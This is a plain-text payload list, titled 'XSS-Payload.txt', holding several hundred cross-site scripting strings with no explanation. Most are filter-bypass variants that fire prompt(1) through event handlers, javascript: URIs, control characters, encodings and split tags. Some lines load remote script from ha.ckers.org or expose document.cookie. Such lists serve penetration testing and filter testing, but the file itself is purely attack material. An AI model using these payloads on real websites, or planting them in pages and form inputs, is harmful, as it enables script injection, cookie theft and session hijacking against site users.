XSS-Payload.txt

"-prompt(8)-"
'-prompt(8)-'
";a=prompt,a()//
';a=prompt,a()//
'-eval("window['pro'%2B'mpt'](8)")-'
"-eval("window['pro'%2B'mpt'](8)")-"
"onclick=prompt(8)>"@x.y
"onclick=prompt(8)><svg/onload=prompt(8)>"@x.y
<image/src/onerror=prompt(8)>
<img/src/onerror=prompt(8)>
<image src/onerror=prompt(8)>
<img src/onerror=prompt(8)>
<image src =q onerror=prompt(8)>
<img src =q onerror=prompt(8)>
</scrip</script>t><img src =q onerror=prompt(8)>
<script\x20type="text/javascript">javascript:prompt(1);</script>
<script\x3Etype="text/javascript">javascript:prompt(1);</script>
<script\x0Dtype="text/javascript">javascript:prompt(1);</script>
<script\x09type="text/javascript">javascript:prompt(1);</script>
<script\x0Ctype="text/javascript">javascript:prompt(1);</script>
<script\x2Ftype="text/javascript">javascript:prompt(1);</script>
<script\x0Atype="text/javascript">javascript:prompt(1);</script>
'`"><\x3Cscript>javascript:prompt(1)</script>        
'`"><\x00script>javascript:prompt(1)</script>
<img src=1 href=1 onerror="javascript:prompt(1)"></img>
<audio src=1 href=1 onerror="javascript:prompt(1)"></audio>
<video src=1 href=1 onerror="javascript:prompt(1)"></video>
<body src=1 href=1 onerror="javascript:prompt(1)"></body>
<image src=1 href=1 onerror="javascript:prompt(1)"></image>
<object src=1 href=1 onerror="javascript:prompt(1)"></object>
<script src=1 href=1 onerror="javascript:prompt(1)"></script>
<svg onResize svg onResize="javascript:javascript:prompt(1)"></svg onResize>
<title onPropertyChange title onPropertyChange="javascript:javascript:prompt(1)"></title onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:prompt(1)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="javascript:javascript:prompt(1)"></body onMouseEnter>
<body onFocus body onFocus="javascript:javascript:prompt(1)"></body onFocus>
<frameset onScroll frameset onScroll="javascript:javascript:prompt(1)"></frameset onScroll>
<script onReadyStateChange script onReadyStateChange="javascript:javascript:prompt(1)"></script onReadyStateChange>
<html onMouseUp html onMouseUp="javascript:javascript:prompt(1)"></html onMouseUp>
<body onPropertyChange body onPropertyChange="javascript:javascript:prompt(1)"></body onPropertyChange>
<svg onLoad svg onLoad="javascript:javascript:prompt(1)"></svg onLoad>
<body onPageHide body onPageHide="javascript:javascript:prompt(1)"></body onPageHide>
<body onMouseOver body onMouseOver="javascript:javascript:prompt(1)"></body onMouseOver>
<body onUnload body onUnload="javascript:javascript:prompt(1)"></body onUnload>
<body onLoad body onLoad="javascript:javascript:prompt(1)"></body onLoad>
<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:prompt(1)"></bgsound onPropertyChange>
<html onMouseLeave html onMouseLeave="javascript:javascript:prompt(1)"></html onMouseLeave>
<html onMouseWheel html onMouseWheel="javascript:javascript:prompt(1)"></html onMouseWheel>
<style onLoad style onLoad="javascript:javascript:prompt(1)"></style onLoad>
<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:prompt(1)"></iframe onReadyStateChange>
<body onPageShow body onPageShow="javascript:javascript:prompt(1)"></body onPageShow>
<style onReadyStateChange style onReadyStateChange="javascript:javascript:prompt(1)"></style onReadyStateChange>
<frameset onFocus frameset onFocus="javascript:javascript:prompt(1)"></frameset onFocus>
<applet onError applet onError="javascript:javascript:prompt(1)"></applet onError>
<marquee onStart marquee onStart="javascript:javascript:prompt(1)"></marquee onStart>
<script onLoad script onLoad="javascript:javascript:prompt(1)"></script onLoad>
<html onMouseOver html onMouseOver="javascript:javascript:prompt(1)"></html onMouseOver>
<html onMouseEnter html onMouseEnter="javascript:parent.javascript:prompt(1)"></html onMouseEnter>
<body onBeforeUnload body onBeforeUnload="javascript:javascript:prompt(1)"></body onBeforeUnload>
<html onMouseDown html onMouseDown="javascript:javascript:prompt(1)"></html onMouseDown>
<frameset onBlur frameset onBlur="javascript:javascript:prompt(1)"></frameset onBlur>
<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:prompt(1)"></applet onReadyStateChange>
<svg onUnload svg onUnload="javascript:javascript:prompt(1)"></svg onUnload>
<html onMouseOut html onMouseOut="javascript:javascript:prompt(1)"></html onMouseOut>
<body onMouseMove body onMouseMove="javascript:javascript:prompt(1)"></body onMouseMove>
<body onResize body onResize="javascript:javascript:prompt(1)"></body onResize>
<object onError object onError="javascript:javascript:prompt(1)"></object onError>
<body onPopState body onPopState="javascript:javascript:prompt(1)"></body onPopState>
<html onMouseMove html onMouseMove="javascript:javascript:prompt(1)"></html onMouseMove>
<applet onreadystatechange applet onreadystatechange="javascript:javascript:prompt(1)"></applet onreadystatechange>
<body onpagehide body onpagehide="javascript:javascript:prompt(1)"></body onpagehide>
<svg onunload svg onunload="javascript:javascript:prompt(1)"></svg onunload>
<applet onerror applet onerror="javascript:javascript:prompt(1)"></applet onerror>
<body onkeyup body onkeyup="javascript:javascript:prompt(1)"></body onkeyup>
<body onunload body onunload="javascript:javascript:prompt(1)"></body onunload>
<iframe onload iframe onload="javascript:javascript:prompt(1)"></iframe onload>
<body onload body onload="javascript:javascript:prompt(1)"></body onload>
<html onmouseover html onmouseover="javascript:javascript:prompt(1)"></html onmouseover>
<object onbeforeload object onbeforeload="javascript:javascript:prompt(1)"></object onbeforeload>
<body onbeforeunload body onbeforeunload="javascript:javascript:prompt(1)"></body onbeforeunload>
<body onfocus body onfocus="javascript:javascript:prompt(1)"></body onfocus>
<body onkeydown body onkeydown="javascript:javascript:prompt(1)"></body onkeydown>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:prompt(1)"></iframe onbeforeload>
<iframe src iframe src="javascript:javascript:prompt(1)"></iframe src>
<svg onload svg onload="javascript:javascript:prompt(1)"></svg onload>
<html onmousemove html onmousemove="javascript:javascript:prompt(1)"></html onmousemove>
<body onblur body onblur="javascript:javascript:prompt(1)"></body onblur>
\x3Cscript>javascript:prompt(1)</script>
'"`><script>/* *\x2Fjavascript:prompt(1)// */</script>
<script>javascript:prompt(1)</script\x0D
<script>javascript:prompt(1)</script\x0A
<script>javascript:prompt(1)</script\x0B
<script charset="\x22>javascript:prompt(1)</script>
<!--\x3E<img src=xxx:x onerror=javascript:prompt(1)> -->
--><!-- ---> <img src=xxx:x onerror=javascript:prompt(1)> -->
--><!-- --\x00> <img src=xxx:x onerror=javascript:prompt(1)> -->
--><!-- --\x21> <img src=xxx:x onerror=javascript:prompt(1)> -->
--><!-- --\x3E> <img src=xxx:x onerror=javascript:prompt(1)> -->
`"'><img src='#\x27 onerror=javascript:prompt(1)>
<a href="javascript\x3Ajavascript:prompt(1)" id="fuzzelement1">test</a>
"'`><p><svg><script>a='hello\x27;javascript:prompt(1)//';</script></p>
<a href="javas\x00cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x07cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x0Dcript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x0Acript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x08cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x02cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x03cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x04cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x01cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x05cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x0Bcript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x09cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x06cript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javas\x0Ccript:javascript:prompt(1)" id="fuzzelement1">test</a>
<script>/* *\x2A/javascript:prompt(1)// */</script>
<script>/* *\x00/javascript:prompt(1)// */</script>
<style></style\x3E<img src="about:blank" onerror=javascript:prompt(1)//></style>
<style></style\x0D<img src="about:blank" onerror=javascript:prompt(1)//></style>
<style></style\x09<img src="about:blank" onerror=javascript:prompt(1)//></style>
<style></style\x20<img src="about:blank" onerror=javascript:prompt(1)//></style>
<style></style\x0A<img src="about:blank" onerror=javascript:prompt(1)//></style>
"'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:prompt(1);/*';">DEF 
"'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:prompt(1);/*';">DEF 
%253Cscript%253Eprompt('XSS')%253C%252Fscript%253E
<script>if("x\\xE1\x96\x89".length==2) { javascript:prompt(1);}</script>
<script>if("x\\xE0\xB9\x92".length==2) { javascript:prompt(1);}</script>
<script>if("x\\xEE\xA9\x93".length==2) { javascript:prompt(1);}</script>
'`"><\x3Cscript>javascript:prompt(1)</script>
'`"><\x00script>javascript:prompt(1)</script>
"'`><\x3Cimg src=xxx:x onerror=javascript:prompt(1)>
"'`><\x00img src=xxx:x onerror=javascript:prompt(1)>
<script src="data:text/plain\x2Cjavascript:prompt(1)"></script>
<script src="data:\xD4\x8F,javascript:prompt(1)"></script>
<script src="data:\xE0\xA4\x98,javascript:prompt(1)"></script>
<script src="data:\xCB\x8F,javascript:prompt(1)"></script>
<script\x20type="text/javascript">javascript:prompt(1);</script>
<script\x3Etype="text/javascript">javascript:prompt(1);</script>
<script\x0Dtype="text/javascript">javascript:prompt(1);</script>
<script\x09type="text/javascript">javascript:prompt(1);</script>
<script\x0Ctype="text/javascript">javascript:prompt(1);</script>
<script\x2Ftype="text/javascript">javascript:prompt(1);</script>
<script\x0Atype="text/javascript">javascript:prompt(1);</script>
<a href="\x0Bjavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x0Fjavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xC2\xA0javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x05javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE1\xA0\x8Ejavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x18javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x11javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x88javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x89javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x80javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x17javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x03javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x0Ejavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x1Ajavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x00javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x10javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x82javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x20javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x13javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x09javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x8Ajavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x14javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x19javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xAFjavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x1Fjavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x81javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x1Djavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x87javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x07javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE1\x9A\x80javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x83javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x04javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x01javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x08javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x84javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x86javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE3\x80\x80javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x12javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x0Djavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x0Ajavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x0Cjavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x15javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA8javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x16javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x02javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x1Bjavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x06javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA9javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x85javascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x1Ejavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\xE2\x81\x9Fjavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="\x1Cjavascript:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javascript\x00:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javascript\x3A:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javascript\x09:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javascript\x0D:javascript:prompt(1)" id="fuzzelement1">test</a>
<a href="javascript\x0A:javascript:prompt(1)" id="fuzzelement1">test</a>
`"'><img src=xxx:x \x0Aonerror=javascript:prompt(1)>
`"'><img src=xxx:x \x22onerror=javascript:prompt(1)>
`"'><img src=xxx:x \x0Bonerror=javascript:prompt(1)>
`"'><img src=xxx:x \x0Donerror=javascript:prompt(1)>
`"'><img src=xxx:x \x2Fonerror=javascript:prompt(1)>
`"'><img src=xxx:x \x09onerror=javascript:prompt(1)>
`"'><img src=xxx:x \x0Conerror=javascript:prompt(1)>
`"'><img src=xxx:x \x00onerror=javascript:prompt(1)>
`"'><img src=xxx:x \x27onerror=javascript:prompt(1)>
`"'><img src=xxx:x \x20onerror=javascript:prompt(1)>
"`'><script>\x3Bjavascript:prompt(1)</script>
"`'><script>\x0Djavascript:prompt(1)</script>
"`'><script>\xEF\xBB\xBFjavascript:prompt(1)</script>
"`'><script>\xE2\x80\x81javascript:prompt(1)</script>
"`'><script>\xE2\x80\x84javascript:prompt(1)</script>
"`'><script>\xE3\x80\x80javascript:prompt(1)</script>
"`'><script>\x09javascript:prompt(1)</script>
"`'><script>\xE2\x80\x89javascript:prompt(1)</script>
"`'><script>\xE2\x80\x85javascript:prompt(1)</script>
"`'><script>\xE2\x80\x88javascript:prompt(1)</script>
"`'><script>\x00javascript:prompt(1)</script>
"`'><script>\xE2\x80\xA8javascript:prompt(1)</script>
"`'><script>\xE2\x80\x8Ajavascript:prompt(1)</script>
"`'><script>\xE1\x9A\x80javascript:prompt(1)</script>
"`'><script>\x0Cjavascript:prompt(1)</script>
"`'><script>\x2Bjavascript:prompt(1)</script>
"`'><script>\xF0\x90\x96\x9Ajavascript:prompt(1)</script>
"`'><script>-javascript:prompt(1)</script>
"`'><script>\x0Ajavascript:prompt(1)</script>
"`'><script>\xE2\x80\xAFjavascript:prompt(1)</script>
"`'><script>\x7Ejavascript:prompt(1)</script>
"`'><script>\xE2\x80\x87javascript:prompt(1)</script>
"`'><script>\xE2\x81\x9Fjavascript:prompt(1)</script>
"`'><script>\xE2\x80\xA9javascript:prompt(1)</script>
"`'><script>\xC2\x85javascript:prompt(1)</script>
"`'><script>\xEF\xBF\xAEjavascript:prompt(1)</script>
"`'><script>\xE2\x80\x83javascript:prompt(1)</script>
"`'><script>\xE2\x80\x8Bjavascript:prompt(1)</script>
"`'><script>\xEF\xBF\xBEjavascript:prompt(1)</script>
"`'><script>\xE2\x80\x80javascript:prompt(1)</script>
"`'><script>\x21javascript:prompt(1)</script>
"`'><script>\xE2\x80\x82javascript:prompt(1)</script>
"`'><script>\xE2\x80\x86javascript:prompt(1)</script>
"`'><script>\xE1\xA0\x8Ejavascript:prompt(1)</script>
"`'><script>\x0Bjavascript:prompt(1)</script>
"`'><script>\x20javascript:prompt(1)</script>
"`'><script>\xC2\xA0javascript:prompt(1)</script>
<script\x20>javascript:prompt(1)</script>
<script\x0D>javascript:prompt(1)</script>
<script\x0A>javascript:prompt(1)</script>
<script\x0C>javascript:prompt(1)</script>
<script\x00>javascript:prompt(1)</script>
<script\x09>javascript:prompt(1)</script>
`"'><img src=xxx:x onerror\x0B=javascript:prompt(1)>
`"'><img src=xxx:x onerror\x00=javascript:prompt(1)>
`"'><img src=xxx:x onerror\x0C=javascript:prompt(1)>
`"'><img src=xxx:x onerror\x0D=javascript:prompt(1)>
`"'><img src=xxx:x onerror\x20=javascript:prompt(1)>
`"'><img src=xxx:x onerror\x0A=javascript:prompt(1)>
`"'><img src=xxx:x onerror\x09=javascript:prompt(1)>
<script>javascript:prompt(1)<\x00/script>
<img src=# onerror\x3D"javascript:prompt(1)" >
<embed src="javascript:prompt(1)">
<img src="javascript:prompt(1)">
<image src="javascript:prompt(1)">
<script src="javascript:prompt(1)">
<img \x00src=x onerror="prompt(1)">
<img \x47src=x onerror="javascript:prompt(1)">
<img \x11src=x onerror="javascript:prompt(1)">
<img \x12src=x onerror="javascript:prompt(1)">
<img\x47src=x onerror="javascript:prompt(1)">
<img\x10src=x onerror="javascript:prompt(1)">
<img\x13src=x onerror="javascript:prompt(1)">
<img\x32src=x onerror="javascript:prompt(1)">
<img\x47src=x onerror="javascript:prompt(1)">
<img\x11src=x onerror="javascript:prompt(1)">
<img \x47src=x onerror="javascript:prompt(1)">
<img \x34src=x onerror="javascript:prompt(1)">
<img \x39src=x onerror="javascript:prompt(1)">
<img \x00src=x onerror="javascript:prompt(1)">
<img src\x09=x onerror="javascript:prompt(1)">
<img src\x10=x onerror="javascript:prompt(1)">
<img src\x13=x onerror="javascript:prompt(1)">
<img src\x32=x onerror="javascript:prompt(1)">
<img src\x12=x onerror="javascript:prompt(1)">
<img src\x11=x onerror="javascript:prompt(1)">
<img src\x00=x onerror="javascript:prompt(1)">
<img src\x47=x onerror="javascript:prompt(1)">
<img src=x\x09onerror="javascript:prompt(1)">
<img src=x\x10onerror="javascript:prompt(1)">
<img src=x\x11onerror="javascript:prompt(1)">
<img src=x\x12onerror="javascript:prompt(1)">
<img src=x\x13onerror="javascript:prompt(1)">
<img src=x onerror=\x09"javascript:prompt(1)">
<img src=x onerror=\x10"javascript:prompt(1)">
<img src=x onerror=\x11"javascript:prompt(1)">
<img src=x onerror=\x12"javascript:prompt(1)">
<img src=x onerror=\x32"javascript:prompt(1)">
<img src=x onerror=\x00"javascript:prompt(1)">
<img src="x` `<script>javascript:prompt(1)</script>"` `>
<img src onerror /" '"= alt=javascript:prompt(1)//">
<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:prompt(1)">XXX</a>
<x style="behavior:url(%(sct)s)">
<IMG SRC="javascript:javascript:prompt(1)"
<a href="jav&#65ascript:javascript:prompt(1)">test1</a>
<a href="jav&#97ascript:javascript:prompt(1)">test1</a>
<embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:prompt('XSS');">
<IMG SRC=javascript:prompt('XSS')>
<IMG SRC=JaVaScRiPt:prompt('XSS')>
<IMG SRC=javascript:prompt("XSS")>
<IMG SRC=`javascript:prompt("RSnake says, 'XSS'")`>
<a onmouseover="prompt(document.cookie)">xxs link</a>
<a onmouseover=prompt(document.cookie)>xxs link</a>
<IMG """><SCRIPT>prompt("XSS")</SCRIPT>">
<IMG SRC=javascript:prompt(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover="prompt('xxs')">
<IMG SRC= onmouseover="prompt('xxs')">
<IMG onmouseover="prompt('xxs')">
<IMG SRC="jav	ascript:prompt('XSS');">
<IMG SRC="jav&#x09;ascript:prompt('XSS');">
<IMG SRC="jav&#x0A;ascript:prompt('XSS');">
<img src=`xx:xx`onerror=prompt(1)>
‘; prompt(1);
‘)prompt(1);//
<ScRiPt>prompt(1)</sCriPt>
<IMG SRC=jAVasCrIPt:prompt(‘XSS’)>
<IMG SRC=”javascript:prompt(‘XSS’);”>
<IMG SRC=javascript:prompt(&quot;XSS&quot;)>
<IMG SRC=javascript:prompt(‘XSS’)>      
<img src=xss onerror=prompt(1)>
<iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
<script>+-+-1-+-+prompt(1)</script>
<body/onload=&lt;!--&gt;&#10prompt(1)>
<script itworksinallbrowsers>/*<script* */prompt(1)</script
<img src ?itworksonchrome?\/onerror = prompt(1)
<svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> prompt(1)
javascript:prompt("hellox worldss")
<img src="javascript:prompt('XSS');">
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>prompt("XSS");//<</SCRIPT>
<!--<img src="--><img src=x onerror=prompt(123)//">
<style><img src="</style><img src=x onerror=prompt(123)//">
<IMG SRC="javascript:prompt('XSS');">
<IMG SRC=javascript:prompt('XSS')>
<IMG SRC=JaVaScRiPt:prompt('XSS')>
<IMG SRC=javascript:prompt("XSS")>
<IMG SRC=`javascript:prompt("RSnake says, 'XSS'")`>
<a onmouseover="prompt(document.cookie)">xxs link</a>
<a onmouseover=prompt(document.cookie)>xxs link</a>
<IMG """><SCRIPT>prompt("XSS")</SCRIPT>">
<IMG SRC=javascript:prompt(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover="prompt('xxs')">
<IMG SRC= onmouseover="prompt('xxs')">
<IMG onmouseover="prompt('xxs')">
<IMG SRC="jav&#x09;ascript:prompt('XSS');">
<IMG SRC="jav&#x0A;ascript:prompt('XSS');">
<IMG SRC="jav&#x0D;ascript:prompt('XSS');">
<IMG SRC=" &#14;  javascript:prompt('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=prompt("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>prompt("XSS");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:prompt('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
\";prompt('XSS');//
</script><script>prompt('XSS');</script>
</TITLE><SCRIPT>prompt("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:prompt('XSS');">
<BODY BACKGROUND="javascript:prompt('XSS')">
<IMG DYNSRC="javascript:prompt('XSS')">
<IMG LOWSRC="javascript:prompt('XSS')">
<A HREF="http://66.102.7.147/">XSS</A>
0\"autofocus/onfocus=prompt(1)--><video/poster/ error=prompt(2)>"-confirm(3)-"
veris-->group<svg/onload=prompt(/XSS/)//
#"><img src=M onerror=prompt('XSS');>
element[attribute='<img src=x onerror=prompt('XSS');>
[<blockquote cite="]">[" onmouseover="prompt('RVRSH3LL_XSS');" ]
%22;prompt%28%27RVRSH3LL_XSS%29//
javascript:prompt%281%29;
<w contenteditable id=x onfocus=prompt()>
prompt;pg("XSS")
<svg/onload=%26%23097lert%26lpar;1337)>
<script>for((i)in(self))eval(i)(1)</script>
<scr<script>ipt>prompt(1)</scr</script>ipt><scr<script>ipt>prompt(1)</scr</script>ipt>
<sCR<script>iPt>prompt(1)</SCr</script>IPt>
<IMG SRC=x onunload="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onblur="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onchange="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x oncontextmenu="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x oninput="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x oninvalid="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onreset="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onsearch="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onselect="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onsubmit="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeydown="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeypress="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeyup="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onclick="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x ondblclick="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousedown="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousemove="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseout="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseover="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseup="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousewheel="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onwheel="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x ondrag="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragend="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragenter="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragleave="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragover="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragstart="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x ondrop="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onscroll="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x oncopy="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x oncut="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onpaste="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onabort="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x oncanplay="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x oncanplaythrough="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x oncuechange="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x ondurationchange="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onemptied="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onended="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadeddata="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadedmetadata="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadstart="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onpause="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onplay="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onplaying="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onprogress="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onratechange="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onseeked="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onseeking="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onstalled="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onsuspend="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x ontimeupdate="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onvolumechange="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onwaiting="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onshow="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x ontoggle="prompt(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="prompt(String.fromCharCode(88,83,83))">
<INPUT TYPE="BUTTON" action="prompt('XSS')"/>
"><h1><IFRAME SRC="javascript:prompt('XSS');"></IFRAME>">123</h1>
"><h1><IFRAME SRC=# onmouseover="prompt(document.cookie)"></IFRAME>123</h1>
<IFRAME SRC="javascript:prompt('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="prompt(document.cookie)"></IFRAME>
